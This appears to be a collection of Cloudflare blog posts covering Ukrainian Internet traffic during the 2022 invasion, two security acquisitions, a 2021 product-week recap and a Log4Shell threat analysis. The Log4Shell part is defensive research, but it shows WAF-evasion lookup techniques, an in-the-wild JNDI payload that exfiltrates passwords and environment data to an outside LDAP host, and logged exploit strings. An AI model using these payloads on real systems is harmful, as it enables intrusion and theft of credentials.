Internet traffic in Ukraine generally follows a pretty predictable pattern based on day and night. Lowest in the hours after local midnight and picking up as people wake up. It’s not uncommon to see a dip around lunchtime and a peak when people go home in the evening. That pattern is clearly visible in this chart of overall Internet traffic seen by Cloudflare for Ukrainian networks on Monday, Tuesday, and Wednesday prior to the invasion.

Starting Thursday, traffic was significantly lower. On Thursday, we saw about 70% of our normal request volume and about 60% on Friday. Request volumes recovered to 70% of pre-invasion volume on Saturday and Sunday before peaking on Monday and Tuesday because of attacks that we mitigated coming from networks in Ukraine.

This chart shows attack traffic blocked by Cloudflare that originated on networks in Ukraine. Note that this is quite different from attacks against .ua domains, which can originate anywhere in the world and are discussed below.

Analysis of network traffic from different cities in Ukraine gives us some insight into people’s use of the Internet and availability of Internet access. Here’s Internet traffic from the capital, Kyiv:

Once again the “normal” ebb and flow of Internet traffic is seen on Monday, Tuesday, and Wednesday. Early on Thursday morning, Internet traffic picks up after Vladimir Putin’s announcement of the attack but never reaches normal levels that day. Friday is even lower, but traffic in Kyiv has gradually increased since then.

Moving westward to Lviv, we see a very different pattern of use.

The same normal flows on Monday to Wednesday are visible, followed by a smaller drop for three days and then a dramatic increase in traffic. As many Ukrainians have moved westward towards Poland, Slovakia and Romania, away from the fighting, it appears that Internet traffic has grown with their arrival in Lviv.

The city of Uzhhorod on the Slovakian border shows a similar pattern.

To the east of Lviv, the city of Ternopil has also seen an increase in Internet traffic.

As has Rivne.

Looking at Rivne, Ternopil, Uzhhorod, and Lviv, it’s possible that the peaks in Internet traffic on different days show the movement of people westward as they try to escape fighting around the capital and in the east and south.

On the opposite side of Ukraine, the situation is quite different. Here’s the traffic pattern for the city of Kharkiv. It has stayed at roughly between 50% and 60% (March 3) of the usual rate since the beginning of the invasion.

North of Kharkiv, the city of Sumy (north-eastern Ukraine, near the Russian border), traffic levels are very low since yesterday, March 3, 2022.

A similar trend can be seen in the city Izyum, south of Kharkiv (east of Ukraine), where traffic is very low since March 2.

Traffic in Donetsk has remained fairly consistent throughout the invasion, except for March 1 when there was a dramatic change in traffic. This was most likely caused by an attack against a single .ua domain name, with the attack traffic coming, at least in part, from Donetsk.

Some other areas with fighting have experienced the largest drops and partial Internet outages. Moving to the south, traffic in Mariupol declined after the invasion and has dropped dramatically in the last three days with outages on local networks.

Here’s a view of traffic from AS43554 in Mariupol showing what seems to be a total outage on March 1 that continued through March 4.

To the west of Mariupol, Osypenko shows a gradual decline in traffic followed by three days of minimal Internet use.

Similar large drops are seen in Irpin (just outside Kyiv to the northwest).

And in Bucha, which is next to Irpin; both Bucha and Irpin are close to Hostomel airport.

Enerhodar is the small city in the south of Ukraine where Europe’s largest nuclear plant, Zaporizhzhya NPP, is located.

There has also been minimal traffic (or possible outage) from Severodonetsk (north of Luhansk) for the past four of days.

We have started to see traffic from Starlink terminals in Ukraine, although traffic levels remain very low.

The physical world invasion has been accompanied by an increase in cyberattacks against Ukrainian domain names and networks.

Just prior to the invasion, on February 23, Cloudflare’s automated systems detected a large amount of packet loss on a major Internet connection to our Kyiv data center and automatically mitigated the problem by routing traffic onto other networks. This packet loss was caused by congestion on the transit provider’s network, which in turn was caused by a large DDoS attack. It appeared in our dashboards as packet loss over a 30-minute period between 1500-1530 (the different colors are different parts of our network infrastructure in Kyiv).

This next chart gives an overview of traffic to .ua domains protected by Cloudflare and requests that are “mitigated” (i.e. blocked by our firewall products). The chart shows only layer 7 traffic and does not give information about layer 3/4 DDoS, which is covered separately below.

On the first day of the invasion attacks against .ua domains were prevalent and at times responsible for almost 50% of the requests being sent to those domains. From Friday, February 25 attacks returned to levels seen prior to the invasion and started picking up again on Tuesday, March 1.

Digging into the layer 7 mitigations we can see that the biggest attacks over all are layer 7 DDoS attacks.

The next largest attacks are being mitigated by firewall rules put in place by customers.

Followed by blocking requests based on our IP threat reputation database.

Layer 3/4 traffic is harder to attribute to a specific domain or target as IP addresses are shared across different customers. Looking at network-level DDoS traffic hitting our Kyiv data center, we see occasional peaks of DDoS traffic reaching a high of nearly  1.8 Gbps.

Note that although the layer 3/4 and layer 7 attacks we are mitigating have been relatively small, that does not mean they are not devastating or problematic. A small website or service can be taken down by relatively small attacks, and the layer 7 attack traffic often includes vulnerability scanning, credential stuffing, SQL injection, and the usual panoply of techniques carried out to either deface or penetrate an Internet service.

Unprotected Internet properties are vulnerable to even small attacks and need protection.

Much of the imagery and information coming out of Ukraine is being shared on social networks. Looking at social networks in Ukraine via DNS data shows that Facebook use has increased.

As has Instagram.

However, TikTok seems to have lost traffic initially, but it has started to return (although not to its pre-conflict levels) in the last two days.

Twitter usage increased and has remained higher than levels seen before the invasion.

Turning to messaging apps, we can compare Messenger, Signal, Telegram and WhatsApp. WhatsApp traffic appears to have declined inline with the broad change in Internet traffic across Ukraine.

Telegram stayed largely unchanged until early this week, when we observed a small increase in use.

Messenger shows a similar pattern.

But the largest change has been traffic to the end-to-end encrypted messaging app Signal, which has seen dramatic growth since the invasion began. We are seeing 8x to 10x the DNS volume for Signal as compared to the days before the start of the conflict.

Cloudflare’s mission is to help build a better Internet. We’ve invested heavily in building the world’s most powerful cloud network to deliver a faster, safer and more reliable Internet for our users. Today, we’re taking a big step towards enhancing our ability to secure our customers.

Earlier today we announced that Cloudflare has agreed to acquire Area 1 Security. Area 1’s team has built exceptional cloud-native technology to protect businesses from email-based security threats. Cloudflare will integrate Area 1’s technology with our global network to give customers the most complete Zero Trust security platform available.

Back at the turn of the century I was involved in the fight against email spam. At the time, before the mass use of cloud-based email, spam was a real scourge. Clogging users’ inboxes, taking excruciatingly long to download, and running up people’s Internet bills. The fight against spam involved two things, one technical and one architectural.

Technically, we figured out how to use machine-learning to successfully differentiate between spam and genuine. And fairly quickly email migrated to being largely cloud-based. But together these changes didn’t kill spam, but they relegated to a box filled with junk that rarely needs to get looked at.

What spam didn’t do, although for a while it looked like it might, was kill email. In fact, email remains incredibly important. And because of its importance it’s a massive vector for threats against businesses and individuals.

And whilst individuals largely moved to cloud-based email many companies still have on-premise email servers. And, much like anything else in the cybersecurity world, email needs best-in-class protection, not just what’s built in with the email provider being used.

When Cloudflare was in its infancy we considered dealing with the email-borne threat problem but opted to concentrate on building defences for networks and the web. Over time, we’ve vastly expanded our protection and our customers are using us to protect the entirety of their Internet-facing world.

Whilst we can protect a mail server from DDoS, for example, using Magic Transit, that’s just one potential way in which email gets attacked. And far more insidious are emails sent into organizations containing scams, malware and other threats. Just as Cloudflare protects applications that use HTTP, we need to protect email at the application and content level.

If you read the press, few weeks go by without reading a news story about how an organization had significant data compromised because an employee fell for a phishing email.

Cyberthreats are entering businesses via email. Area 1 estimates that more than 90% of cyber security damages are the result of just one thing: phishing. Let’s be clear, email is the biggest exposure for any business.

Existing email security solutions aren’t quite cutting it. Historically, companies have addressed email threats by layering legacy box-based products. And layering they are, as around 1 in 7 Fortune 1000 companies use two or more email security solutions¹. If you know Cloudflare, you know legacy boxes are not our thing. As businesses continue to move to the cloud, so does email. Gartner estimates 71% of companies use cloud or hybrid cloud email, with Google’s G Suite and Microsoft’s Office 365 being the most common solutions². While these companies offer built-in protection capabilities for their email products, many companies do not believe they adequately protect users (more on our own experience with these shortfalls later).

Email security is something that has been on our mind for some time.

Last year we rolled out Email Security DNS Wizard, our first email security product. It was designed as a tool to tackle email spoofing and phishing and improve the deliverability of millions of emails. This was just the first step on our email security journey. Bringing Area 1 onboard is the next, and much larger, step in that journey.

As a security company, we are constantly being attacked. We have been using Area 1 for some time to protect our employees from these attackers.

In early 2020, our security team saw an uptick in employee-reported phishing attempts. Our cloud-based email provider had strong spam filtering, but fell short at blocking malicious threats and other advanced attacks. Additionally, our provider only offered controls to cover their native web application, and did not provide sufficient controls to protect their iOS app and alternate methods of accessing email. Clearly, we needed to layer an email security solution on top of their built-in protection capabilities (more on layering later…).

The team looked for four main things in a vendor: the ability to scan email attachments, the ability to analyze suspected malicious links, business email compromise protection, and strong APIs into cloud-native email providers. After testing many vendors, Area 1 became the clear choice to protect our employees. We implemented Area 1’s solution in early 2020, and the results have been fantastic. With Area 1, we’ve been able to proactively identify phishing campaigns and take action against them before they cause damage. We saw a significant and prolonged drop in phishing emails. Not only that, the Area 1 service had little to no impact on email productivity, which means there were minimal false positives distracting our security team.

In fact, Area 1’s technology was so effective at launch, that our CEO reached out to our Chief Security Officer to inquire if our email security was broken. Our CEO hadn’t seen any phishing attempts reported by our employees for many weeks, a rare occurrence. It turns out our employees weren’t reporting any phishing attempts, because Area 1 was catching all phishing attempts before they reached our employee’s inboxes.

The reason Area 1 is able to do a better job than other providers out there is twofold. First, they have built a significant data platform that is able to identify patterns in emails. Where does an email come from? What does it look like? What IP does it come from? Area 1 has been in the email security space for nine years, and they have amassed an incredibly valuable trove of threat intelligence data. In addition, they have used this data to train state-of-the-art machine learning models to act preemptively against threats.

Offering a cloud-based email security product makes sense on its own, but our vision for joining Area 1’s technology to Cloudflare is much larger. We are convinced that adding email security to our existing Zero Trust security platform will result in the best protection for our customers.

Just as Cloudflare had put Area 1 in front of our existing email solution, many companies put two or more layered email protection products together. But layering is hard. Different products have different configuration mechanisms (some might use a UI, others an API, others might not support Terraform etc.), different reporting mechanisms, and incompatibilities that have to be worked around.

SMTP, the underlying email protocol, has been around since 1982 and in the intervening 40 years a lot of protocols have grown around SMTP to make it secure, add spoof protection, verify senders, and more. Getting layered email security products to work well with all those add-on protocols is hard.

And email doesn’t stand alone. The user’s email address is often the same thing as their company log in. It makes sense to bring Zero Trust and email security together.

As we’ve discussed, email is a major vector for attacks, but it is not the only one. Email security is just one layer of an enterprise defense system. Most businesses have multiple layers of security to protect their employees and their assets. These defense layers reduce the risk that a system gets penetrated by an attacker. Now imagine all these layers were purpose-built to work with each other seamlessly, built into the same software stack, offered by a single vendor and available to you in 250+ locations around the world.

Imagine a world where you can turn on email security to protect you against phishing, but if for some reason an attacker were to get through to an employee’s inbox, you can create a rule to open any unrecognized link in an isolated remote browser with no text input allowed and scan all email attachments for known malware. That is the power of what we hope to achieve by adding Area 1’s technology onto Cloudflare’s Zero Trust security platform.

Bringing email and Zero Trust together opens up a world of possibilities in protecting email and the enterprise.

At Cloudflare, we’re fans of closely knit products that deliver more value together than they do apart. We refer to that internally as 1+1=3. Incorporating Area 1 into our Zero Trust platform will deliver significant value to our customers, but protecting email is just the start.

Area 1 has spent years training their machine learning models with email data to deliver world-class security. Joining email threat data and Cloudflare’s threat data from our global network will give us incredible power to deliver improved security capabilities for our customers across our products.

Together with the Area 1 team, we will continue to help build the world’s most robust cloud network and Zero Trust security platform.

On a final note, what struck us most about Area 1 is their shared vision for building a better (and more secure) Internet. Their team is smart, transparent, and curious, all traits we value tremendously at Cloudflare. We are convinced that together our teams can deliver tremendous value to our customers.

If you are interested in upcoming email security products, please register your interest here. You can learn more about the acquisition here or in Area 1’s blog.

The acquisition is expected to close early in the second quarter of 2022 and is subject to customary closing conditions. Until the transaction closes, Cloudflare and Area 1 Security remain separate and independent companies.

.....

¹Piper Sandler 1Q2021 Email Security Survey: Market Share

²Gartner, Market Guide for Email Security, 8 September 2020

We are excited to welcome the Vectrix team and their technology to the Cloudflare Zero Trust product group. We don’t believe a CASB should be a point solution. Instead, the features of a CASB should be one component of a comprehensive Zero Trust deployment. Each piece of technology, CASB included, should work better together than they would as a standalone product.

We know that this migration is a journey for most customers. That’s true for our own team at Cloudflare, too. We’ve built our own Zero Trust platform to solve problems for customers at any stage of that journey.

Several years ago, we protected the internal resources that Cloudflare employees needed by creating a private network with hardware appliances. We deployed applications in a data center and made them available to this network. Users inside the San Francisco office connected to a secure Wi-Fi network that placed them on the network.

For everyone else, we punched a hole in that private network and employees pretended they were in the office by using Virtual Private Network (VPN) clients on their device. We had created a castle-and-moat by attempting to extend the walls of the San Francisco office to the rest of the world.

Our Security team hated this. Once authenticated to the VPN client, a user could generally connect to any destination on our private network - the network trusted them by default. We lacked segmentation over who could reach what resource. Just as terrifying, we had almost no visibility into what was happening inside the network.

One option would have been to build out a traditional segmented network with internal firewalls and a configuration nightmare keeping VPN appliances, firewalls and servers synchronized. We knew that there was a better, more flexible, more modern way.

We built the first product in Cloudflare One, Cloudflare Access, to solve these problems. Cloudflare Access uses our global network to check every request or connection for identity, group membership, device posture, multifactor method and more to determine if it should be allowed. Organizations can build rules that are specific to applications or IP addresses on a private network that runs on Cloudflare. Cloudflare Access also logs every request and connection, providing high-visibility with low-effort.

This migration changed our security model at Cloudflare. We also never had to compromise performance thanks to Cloudflare’s global network and Application Performance products. Decisions about who is allowed are made milliseconds away from the user in data centers in over 250+ cities around the world. For web applications, Cloudflare Access runs in-line with our WAF and works out-of-the-box with our load balancers. Cloudflare’s network accelerates requests and packets, connecting users to the tools they need even faster.

Cloudflare Access let us and thousands of other teams deprecate the legacy VPN security model, but the rest of the Internet posed a different kind of challenge—how do we keep our users, and their devices and data, safe from attack?

The public Internet allows just about anyone to connect either as a user or a host. That openness is both powerful and terrifying. When employees on corporate devices need to use the rest of the Internet, they run a risk of encountering phishing websites, malware hosts, and other attempts to steal data and compromise businesses.

Historically, organizations relied on a similar castle-and-moat approach. They backhauled user traffic to any destination on the Internet through a centralized data center. Inside that data center, IT departments installed and monitored physical appliances to provide security like network firewalls, proxies, and secure web gateways.

This model worked fine when employees only needed to connect to the public Internet occasionally. Most work was performed on the desktop in front of the user. When companies began moving to SaaS applications hosted by other teams, and employees spent the majority of their day on the Internet, this security framework fell apart.

User experience suffered when all traffic had to first reach a distant security appliance. IT and Security teams had to maintain and patch appliances while struggling to scale up or down. The cost of backhauling traffic over MPLS links erased the financial savings gained by migrating to SaaS applications on the Internet.

Cloudflare Gateway turns Cloudflare’s network in the other direction to protect users as they connect out to the rest of the Internet. Instead of backhauling traffic to a centralized location, users connect to a nearby Cloudflare data center where we apply one or more layers of security filtering and logging before accelerating their traffic to its final destination.

Customers can choose how they want to start this journey. Cloudflare operates the world’s fastest DNS resolver, on top of which we’ve built DNS filtering powered by the intelligence we collect from handling so much of the Internet every day. Other customers decide to begin by ripping out their network firewall appliances and moving that functionality into Cloudflare’s network by connecting roaming users or entire offices and data centers to Cloudflare.

As threats become more advanced, Cloudflare’s Secure Web Gateway inspects HTTPS traffic for malware hiding in file downloads or the accidental loss of data to unapproved SaaS services. Cloudflare’s Browser Isolation service adds another layer of threat protection by running the browser in our network instead of on the user device. With Cloudflare Gateway and Browser Isolation, security teams also can apply granular data loss control to traffic as it flows through our network—from stopping file uploads to blocking copy-and-paste in the web page itself.

At this point in a Zero Trust journey, your team can control how users access critical resources and how you keep those users and their data safe from external attack. Both of these require control of the network—inspecting traffic as it leaves devices in your organization or as it arrives in your infrastructure. That leaves one piece missing. As more of your data lives in SaaS applications outside your control, how do you maintain a consistent level of filtering, logging, and auditing?

The Cloudflare Zero Trust platform released many features in the last year to help customers solve this problem and the broader range of “CASB” challenges. First, we built a feature that allows your team to force logins to your SaaS applications through Cloudflare’s Secure Web Gateway where you can control rules and visibility. Next, we used the data from the Secure Web Gateway to provide your team with a comprehensive Shadow IT report to discover what applications your team is using and what they should be using.

Customers use the Shadow IT report in particular to begin building rules to block access to unapproved SaaS applications, or to block actions like file uploads to specific unapproved SaaS applications, but the collaboration available in these tools becomes a risk to your organization.

It’s easy to be a single-click away from a data breach. We could share a document with the public Internet instead of our team. We could leave an S3 bucket unprotected. We could invite the wrong users to a private GitHub repository or install a malicious plugin to our email system. The data-at-rest in these SaaS applications is vulnerable to new types of attacks.

Some of these applications have tried to solve this problem in their own space, but the rapid adoption of SaaS applications and the struggle to configure each separately led to thousands of wasted hours in security teams. The Vectrix founders talked with teams who had to dedicate full-time employees just to manually configure and check permission settings and logs. So they built a better answer.

Vectrix scans the SaaS applications that your team uses to detect anomalies in configuration, permissions, and sharing. Each SaaS application is different - the risks vary from a Google Sheet that is made public to leaked secrets in GitHub - and Vectrix gives customers a single place to control and audit those types of events.

To solve this problem for our customers, we evaluated options including building our own API-driven CASB solution and talking to other companies in this space. Vectrix became the best option after evaluating them against the priorities we have for this group of products.

Vectrix mission focuses on giving organizations of any size, including those without a large security team, “simple, straightforward security scans that anyone can use…” By making the solution accessible and easy to use, Vectrix reduces the barrier to security.

We share that same goal. Cloudflare exists to help build a better Internet. That starts with an Internet made safer by making security tools accessible to anyone. From offering SSL certificates at no cost to any customer to making Zero Trust product group available at no cost to teams of up to 50 users, we are obsessed with helping our customers solve problems previously out of their reach.

One of the original pitches of Cloudflare’s Application Security and Performance products was set up that could be completed in less than five minutes. We know that the cost to deploy a new service, especially for smaller teams, can mean that organizations delay making security and performance improvements.

We don’t think that customers should have to compromise and neither does Vectrix. The Vectrix product focuses on delivering immediate value in less than five minutes after the two or three clicks required to configure the first scan of a SaaS application. Customers can begin to flag risks in their organization in a matter of minutes without the need for a complex deployment.

The Vectrix product will not be inserted as a point solution add-on. We’re making it a core part of our Zero Trust bundle because integrating features from products like our Secure Web Gateway give customers a comprehensive solution that works better together.

We’re excited to welcome Vectrix to the Cloudflare team. You can learn more about why they decided to join Cloudflare in this blog post published today.

We have already started migrating their services to the Cloudflare global network and plan to open sign-ups for a beta in the next couple of months. If you are interested, please sign up here. Don’t let the beta delay the start of your own journey with these products—we’ll be inviting users off of the waitlist based on when they first started deploying Cloudflare’s Zero Trust products.

One of the things that makes Cloudflare unique is our Innovation Weeks. Rather than having one large conference annually, we have multiple Innovation Weeks throughout the year to highlight new product announcements, beta products opening up to general availability, and share how our customers are using Cloudflare to help build a better Internet.

Internally, these weeks generate a lot of energy and excitement as well, as they provide an opportunity for teams from across Cloudflare to work together on product delivery and celebrate company-wide successes. In 2021, we had seven Cloudflare Innovation Weeks. As we start planning our 2022 Innovation Weeks, we are reflecting back on the highlights from each of these weeks.

Patrick Donahue

Security Week kicked off Cloudflare’s 2021 Innovation Weeks with a series of foundational security announcements. The Internet wasn’t built with security in mind, but the products and partnerships announced this week continued Cloudflare’s core mission of helping build a better Internet—one that companies of all sizes can plug into and be protected by default from the types of attacks that have historically resulted in loss of data, computing resources, and customer confidence.

At the start of the week, we took on the task of replacing MPLS, the core network technology that many organizations use to connect their offices and data centers, with a more secure and cost-effective alternative. Next, we tackled the biggest risk to everyday users of the web by opening our remote browser isolation technology to teams of all sizes and protecting against malicious code injection. Following those announcements, we inverted the slow, network chokepoint model of data loss prevention by building zero trust controls over data directly into every aspect of the Cloudflare One suite. And to round out the week, we democratized access to bot-fighting technology previously only available to the largest enterprises while also  deepening our solutions for novel threats facing APIs.

View all Security Week 2021 Blog PostsView all Security Week 2021 Cloudflare TV Series

Alyson Cabral

With Developer Week, we had one focus – to make developers’ lives easier. Our announcements included Cloudflare Pages being made generally available, Introducing Web Socket Support in Workers, Workers Unbound, Free Tunnels, Partnering with Nvidia to bring AI to the Edge and many more announcements throughout the week. In addition to the announcements, we also launched our first ever Developer Challenge series. Each day, a new challenge was announced to encourage developers from across the globe to level up their skills by trying new features and approaches. Solutions were revealed the following day, with the bonus round solution wrapping up the week. To keep up to date on the next round of challenges, join our Cloudflare Developer community.

View all Developer Week 2021 Blog PostsView all Developer Week 2021 Cloudflare TV Series

Patrick Day

During our first Impact Week, we reflected on how we are achieving Cloudflare's mission–helping build a better Internet– and why we continue to prioritize projects that give back to the Internet. Impact Week highlighted some of the things we are doing as a company around environmental, social and governance initiatives. We launched Project Pangea, a free program to provide secure, reliable access to the Internet for community networks that support under-served communities. We also shared how we are committed to helping build a green Internet through efficiency, renewable energy, and providing developers a choice to run their workloads in the most energy efficient data centers. In addition, we published our first human rights policy in order to better serve our mission and core values.

View all Impact Week 2021 Blog PostsView all Impact Week 2021 Cloudflare TV Series

Marc Lamik

Helping make the Internet faster is one of Cloudflare’s core priorities. During Speed Week we shared how fast Cloudflare’s Network is as well as the amazing performance of Workers and Pages’ lightning fast speed. We expanded the size of Cloudflare’s network, so it’s closer to more people than ever.

We launched two amazing performance features with Signed Exchanges reducing load times and increasing SEO rankings with one click as well as Early Hints which can reduce loading times by 30%.

As part of  Speed week, we also announced Cloudflare Images which stores, resizes, optimizes and serves images so that all of our customers can build a scalable, affordable image pipeline.

View all Speed Week 2021 Blog PostsView all Speed Week 2021 Cloudflare TV Series

Dane Knecht and Jennifer Taylor

This is the week in which we celebrate Cloudflare's birthday. We launched the company 11 years ago: September 27, 2010. It has been our tradition, since our first birthday, to use this week to launch innovative products that we think of as our gift back to the Internet. In 2021, we announced Cloudflare R2, our object-based storage with no egress fees, tackled solutions to Email Spoofing and Phishing, shared how we are expanding our network into office buildings as well as many more product announcements and Cloudflare TV executive fireside chats and product discussions.

View all Birthday Week Blog PostsView all Birthday Week Cloudflare TV Series

Rita Kozlov

During Full Stack Week, we brought the vision of the Network is the Computer to life — allowing developers to build their entire application on our network, soup to nuts. Over the course of the week, we made a series of announcements, each providing another critical piece of the puzzle, necessary to build a full stack application.

We started with the foundation — data, announcing the general availability of Durable Objects, and ability to connect to databases, alongside partnerships with MongoDB and Prisma. Cloudflare Pages, our Jamstack platform also took a step deeper down the stack by introducing support for seamless deployment of functions. We want development on our platform to be an enjoyable experience, so we announced the new version of wrangler, our CLI, and Services, a better way for teams to build applications. And while we want developers to have fun, we also want them to be able to monetize their efforts, which they now can do using the Stripe SDK on Workers.

View all Full Stack Week 2021 Blog PostsView all Full Stack Week Cloudflare TV Series

Annika Garbers

To wrap up the year, we demonstrated how Cloudflare One, our Zero Trust Network-as-a-Service, is helping Chief Information Officers transform their corporate networks. We launched new capabilities in Cloudflare One to help customers replace their hardware firewalls and a chance to win a trip to Oahu in the process, a Log Storage platform built on Cloudflare R2, a new premium DNS offering, and Cloudflare Security Center, which helps customers map their attack surface and mitigate potential security risks with just a few clicks. We also announced our acquisition of Zaraz to boost website speed and security without sacrificing privacy, as well as new partnerships with Microsoft and leading cyber insurance providers, among many other exciting announcements throughout the week.

View all CIO Week 2021 Blog PostsView all CIO Week 2021 Cloudflare TV Series

In short, we saw limited testing of the vulnerability on December 1, eight days before public disclosure. We saw the first attempt to exploit the vulnerability just nine minutes after public disclosure showing just how fast attackers exploit newly found problems.

We also see mass attempts to evade WAFs that have tried to perform simple blocking, we see mass attempts to exfiltrate data including secret credentials and passwords.

Since the disclosure of CVE-2021-44228 (now commonly referred to as Log4Shell) we have seen attackers go from using simple attack strings to actively trying to evade blocking by WAFs. WAFs provide a useful tool for stopping external attackers and WAF evasion is commonly attempted to get past simplistic rules.

In the earliest stages of exploitation of the Log4j vulnerability attackers were using un-obfuscated strings typically starting with ${jndi:dns, ${jndi:rmi and ${jndi:ldap and simple rules to look for those patterns were effective.

Quickly after those strings were being blocked and attackers switched to using evasion techniques. They used, and are using, both standard evasion techniques (escaping or encoding of characters) and tailored evasion specific to the Log4j Lookups language.

Any capable WAF will be able to handle the standard techniques. Tricks like encoding ${ as %24%7B or \u0024\u007b are easily reversed before applying rules to check for the specific exploit being used.

However, the Log4j language has some rich functionality that enables obscuring the key strings that some WAFs look for. For example, the ${lower} lookup will lowercase a string. So, ${lower:H} would turn into h. Using lookups attackers are disguising critical strings like jndi helping to evade WAFs.

In the wild we are seeing use of ${date}, ${lower}, ${upper}, ${web}, ${main} and ${env} for evasion. Additionally, ${env}, ${sys} and ${main} (and other specialized lookups for Docker, Kubernetes and other systems) are being used to exfiltrate data from the target process’ environment (including critical secrets).

To better understand how this language is being used, here is a small Java program that takes a string on the command-line and logs it to the console via Log4j:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}

This simple program writes to the console. Here it is logging the single word hide.

$ java log4jTester.java 'hide'          
01:28:25.606 [main] ERROR log4jTester - hide

The Log4j language allows use of the ${} inside ${} thus attackers are able to combine multiple different keywords for evasion. For example, the following ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e would be logged as the word hide. That makes it easy for an attacker to evade simplistic searching for ${jndi, for example, as the letters of jndi can be hidden in a similar manner.

$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide

The other major evasion technique makes use of the :- syntax. That syntax enables the attacker to set a default value for a lookup and if the value looked up is empty then the default value is output. So, for example, looking up a non-existent environment variable can be used to output letters of a word.

$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 
01:35:34.280 [main] ERROR log4jTester - hide

Similar techniques are in use with ${web}, ${main}, etc. as well as strings like ${::-h} or ${::::::-h} which both turn into h. And, of course, combinations of these techniques are being put together to make more and more elaborate evasion attempts.

To get a sense for how evasion has taken off here's a chart showing un-obfuscated ${jndi: appearing in WAF blocks (the orange line), the use of the ${lower} lookup (green line), use of URI encoding (blue line) and one particular evasion that's become popular ${${::-j}${::-n}${::-d}${::-i}(red line).

For the first couple of days evasion was relatively rare. Now, however, although naive strings like ${jndi: remain popular evasion has taken off and WAFs must block these improved attacks.

We wrote last week about the initial phases of exploitation that were mostly about reconnaissance. Since then attackers have moved on to data extraction.

We see the use of ${env} to extract environment variables, and ${sys} to get information about the system on which Log4j is running. One attack, blocked in the wild, attempted to exfiltrate a lot of data from various Log4j lookups:

${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}

There you can see the user, home directory, Docker image name, details of Kubernetes and Spring, passwords for the user and databases, hostnames and command-line arguments being exfiltrated.

Because of the sophistication of both evasion and exfiltration WAF vendors need to be looking at any occurrence of ${ and treating it as suspicious. For this reason, we are additionally offering to sanitize any logs we send our customer to convert ${ to x{.

The Cloudflare WAF team is continuously working to block attempted exploitation, but it is still vital that customers patch their systems with up-to-date Log4j or apply mitigations. Since data that is logged does not necessarily come via the Internet systems need patching whether they are Internet-facing or not.

All paid customers have configurable WAF rules to help protect against CVE-2021-44228, and we have also deployed protection for our free customers.

Cloudflare quickly put in place WAF rules to help block these attacks. The following chart shows how those blocked attacks evolved.

From December 10 to December 13 we saw the number of blocks per minute ramp up as follows.

In our initial blog post we noted that Canada (the green line below) was the top source country for attempted exploitation. As we predicted that did not continue and attacks are coming from all over the world, either directly from servers or via proxies.

CVE-2021-44228 was disclosed in a (now deleted) Tweet on 2021-12-09 14:25 UTC:

However, our systems captured three instances of attempted exploitation or scanning on December 1, 2021, as follows. In each of these I have obfuscated IP addresses and domain names. These three injected ${jndi:ldap} lookups in the HTTP User-Agent header, the Referer header and in URI parameters.

2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D

2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						

2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}	
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D	

After those three attempts we saw no further activity until nine minutes after public disclosure when someone attempts to inject a ${jndi:ldap} string via a URI parameter on a gaming website.

2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}

CVE-2021-44228 is being actively exploited by numerous actors. WAFs are effective as a measure to help prevent attacks from the outside, but they are not foolproof and attackers are actively working on evasions. The potential for exfiltration of data and credentials is incredibly high and the long term risks of more devastating hacks and attacks is very real.

It is vital to mitigate and patch affected software that uses Log4j now and not wait.